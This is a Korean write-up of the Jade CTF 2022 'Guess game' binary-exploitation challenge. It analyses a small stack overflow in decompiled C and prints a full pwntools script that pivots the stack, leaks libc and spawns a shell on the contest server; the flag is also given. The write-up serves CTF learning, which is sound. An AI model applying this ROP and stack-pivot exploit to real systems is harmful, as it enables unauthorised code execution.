Jade CTF 2022 - Guess game (Stack pivoting)

Info

(16/630) solves

for player

1
2
3
.
├── chall
└── libc.so.6

Analysis

Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
fill_secret_buffer();
write(2, "Welcome to my game, choose any number between 1-10\n", 0x33uLL);
write(2, "Enter a number: ", 0x10uLL);
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 > 10 || v4 <= 0 )
{
write(2, "Wrong number entered\n", 0x15uLL);
exit(0);
}
if ( (v4 & 1) != 0 )
odd_option();
else
even_option(); // not vuln
write(2, "Bye bye\n", 8uLL);
return 0;
}

main 함수에서 수 하나를 입력받는데 0부터 9사이의 범위만 인정한다. 그 다음 & 연산을 진행하는데 입력 값이 홀수라면 odd_option() 함수를 실행하고 아니라면 even_option() 함수를 실행한다. 후자의 함수에 취약점이 없기 때문에 간단하게 먼저 살펴보자.

1. even_option()

1
2
3
4
5
6
7
8
9
10
11
ssize_t even_option()
{
char s[108]; // [rsp+0h] [rbp-70h] BYREF
int v2; // [rsp+6Ch] [rbp-4h]

write(2, "Enter your name: ", 0x11uLL);
fgets(s, 100, stdin);
s[strcspn(s, "\r\n")] = 0;
v2 = sprintf(temp_buffer, "Hello %s, we are sorry but you gave us the wrong input. Please try again.\n", s);
return write(2, temp_buffer, v2);
}

지역변수 s에 이름을 입력받는다. bof가 일어날 가능성을 염두에 뒀지만 108 크기에 100만큼 입력하기 때문에 bof는 일어나지 않는다. 이 함수에서 취약점은 발생하지 않는다.

2. odd_option()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
char *odd_option()
{
char *result; // rax
char s[208]; // [rsp+0h] [rbp-140h] BYREF
char dest[108]; // [rsp+D0h] [rbp-70h] BYREF
int v3; // [rsp+13Ch] [rbp-4h]

write(2, "Let's begin, but first here is how you play:\n", 0x2DuLL);
write(2, "- A number will be shown to you\n", 0x20uLL);
write(2, "- You have to enter two strings\n", 0x20uLL);
write(2, "- - The first should be your name\n", 0x22uLL);
write(2, "- - The second string should be equal to the secret code\n", 0x39uLL);
write(2, "- If you successfully guess the secret code, you win!\n", 0x36uLL);
v3 = sprintf(temp_buffer, "\nHere's the number: %lld\n", s);
write(2, temp_buffer, v3);
write(2, "Enter first input please: ", 0x1AuLL);
fgets(s, 200, stdin);
write(2, "Enter second input please: ", 0x1BuLL);
fgets(dest, 130, stdin); // bof
result = strcpy(dest, secret_buffer);
if ( !result )
{
write(2, "Congrats! You win!\n", 0x13uLL);
exit(0);
}
return result;
}

208 크기의 지역변수 s에 200만큼 입력하고 108 크기의 지역변수 dest에 130만큼 입력한다. 여기서 bof가 발생한다. 바로 뒤에 srctpy함수에서 secret_buffer를 dest에 복사한다.
이 함수가 실행되기 전에 main에서 fill_secret_buffer() 함수를 호출하는데 여기서 secret_buffer 전역변수를 채운다.

결론적으로 알아낸 것은 지역변수 dest에서 130-0x70 즉, 18만큼 overflow가 난다는 것이다.

Vulnerability

overflow가 18만큼난다? sfp(rbp), ret..

ret까지 안전하게 덮고 2바이트 더 overflow가 난다. ROP를 하기에는 overflow가 충분히 나지 않는다. 이럴 때 해야하는 것이 Stack pivoting이다. 이와 관련해서는 (구 블로그에도 써놨지만) 시간이 된다면 이 블로그에 글을 새로 쓸 예정이다.

Exploit

overflow가 ret까지 날 때는 stack pivoting 기법을 고려해볼 수 있겠다. 이를 위해서 fake stack을 구성할 공간이 필요하다. 이 문제에서는 “Enter first input please: “에서 지역변수 s에 200만큼 입력할 수 있다. 200바이트면 ROP 페이로드를 적기에 충분하다. 여기를 fake stack으로 한다! 땅땅

Exploit Scenario

PART1

  1. libc leak하는 ROP 페이로드를 작성하여 stack에 구성
  2. 위 stack으로 흐름 변경

PART2

  1. system('/bin/sh\x00')을 호출하는 ROP 페이로드를 작성하여 stack에 구성
  2. 위 stack으로 흐름 변경

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

context.arch = 'amd64'
context.log_level = 'DEBUG'

e = ELF('./chall')
#p = process('./chall')
p = remote('34.76.206.46', 10004)
libc = ELF('./libc.so.6')

## PART1
p.sendlineafter('number:', b'1')

p.recvuntil('Here\'s the number: ')
stack_leak = int(p.recvline(), 10)
info('stack leak :: ' + hex(stack_leak))

pop_rdi = 0x400946
ret = 0x04006b9

fake_stack= b''
fake_stack += p64(pop_rdi)
fake_stack += p64(e.got['fgets'])
fake_stack += p64(e.symbols['puts'])
fake_stack += p64(ret)
fake_stack += p64(e.symbols['main'])

p.sendlineafter('Enter first input please: ', fake_stack)

stack_pivoting_gadget = 0x0400B1C

payload = b''
payload += b'A' * 0x70
payload += p64(stack_leak-8)
payload += p64(stack_pivoting_gadget) # ret

#pause()
p.sendlineafter('Enter second input please: ', payload)


libc_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
info('libc leak :: ' + hex(libc_leak))

libc_base = libc_leak - libc.symbols['fgets']
info('offset :: ' + hex(libc.symbols['fgets']))
info('libc base :: ' + hex(libc_base))

binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base + libc.symbols['system']

## PART2
p.sendlineafter('number:', b'1')

p.recvuntil('Here\'s the number: ')
stack_leak = int(p.recvline(), 10)
info('stack leak 2 :: ' + hex(stack_leak))

fake_stack = b''
fake_stack += p64(pop_rdi)
fake_stack += p64(binsh)
fake_stack += p64(ret)
fake_stack += p64(system)

p.sendlineafter('Enter first input please: ', fake_stack)

payload = b''
payload += b'A' * 0x70
payload += p64(stack_leak-8)
payload += p64(stack_pivoting_gadget) # ret

pause()
p.sendlineafter('Enter second input please: ', payload)

p.interactive()

Flag

1
jadeCTF{p1v0t!_p1v0t!_p1v0t!}

tmi

1.

다 풀고 나서 롸업 작성하는데 문제 풀 때는 못 봤던 함수를 발견했다..ㅋㅋ 이 함수를 진작에 봤더라면 더 쉽게 문제를 풀 수 있었을 텐데.. 그런데 이런 생각을 가지면 안된다. 이 문제 덕에 스택 피봇팅 리마인드했으니까~ 오히려 좋다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *__fastcall hidden_level(int a1)
{
char *result; // rax
char s[112]; // [rsp+10h] [rbp-70h] BYREF

write(2, "Oooh! You reached the hidden level, type the mantra to unlock the hidden door:\n", 0x4FuLL);
result = fgets(s, 512, stdin);
if ( a1 != -559038737 )
{
write(2, "Did you cheat?\n", 0xFuLL);
exit(0);
}
return result;
}

2.

늦장 부리다가 롸업을 너무 늦게 작성했다. 이 씨텝… 서버 오래 살아있어서 좋았는데 롸업 작성할 당시 서버가 닫혔다. 롸업은.. 제때제때 빨리빨리 작성하자 T_T.